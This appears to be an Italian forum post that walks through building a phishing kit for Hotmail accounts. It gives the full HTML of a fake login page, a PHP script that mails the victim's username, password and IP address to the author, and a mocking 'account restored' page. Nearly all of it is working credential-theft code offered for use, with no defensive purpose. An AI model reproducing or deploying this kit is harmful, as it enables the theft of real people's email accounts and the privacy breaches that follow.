<html>
Per effettuare l'accesso a hotmail
<p>inserisci nome utente e password
<head>
<title>Log-in Hotmail.com</title>
<script LANGUAGE="JavaScript"> function A() { document.a.Account.focus(); } </script>
<style TYPE="TEXT/CSS">
Td, Input { Font-Family: Verdana, Tahoma, Arial; Font-Size: 10 }
Td { Color: #003500; }
</style>
</head>
<body TopMargin="0" LeftMargin="0" onLoad="A()">
<form Name="a" Action="send.php" Method="Post">
Account email:
<input Type="text" Name="Account" Size="30" Style="Color: #0044FF">
Password:
<input Type="password" Name="Password" Size="25" Style="Color: #0044FF; Font-Size: 11">
[center]<input Type="submit" Value="Send" OnClick="B()">
</form>
</body>
Copyright 2000
</html>
send.php
Bene abbiamo creato la nostra home page
adesso creiamo la pag .php che ci invierà i dati.. ovviamente riaprite il notepad e scriveteci
CODICE
<?PHP
$youremail = "QUI DEVI INSERIRE LA TUA E-MAIL";
$ip = getenv('REMOTEADDR');
$td = date("F jS");
$date = date("d M, Y");
$time = date("g:i a");
$LogTime = trim(" Data: ".$date."nOra: ".$time);
$subject = "Code Sniffer";
mail($youremail,$subject,"Username: ".$Account."nPassword: ".$Password."nnIndirizzo ip: ".$ip."n".$LogTime,"from: $Account <$Account>");
header("Location: login_error.html");
?>
login_error.html
( vi chiedo di confermarmi questo codice )
infine la pagina finale:
CITAZIONE
<html>
<html>
<head>
<title>Fregata enzina...</title>
<style TYPE="TEXT/CSS">
Td { Font-Family: Verdana, Tahoma, Arial; Font-Size: 10 }
</style>
</head>
<body TopMargin="0" LeftMargin="0">Il tuo account è stato
ripristinato con successo...
</body>
</html>
|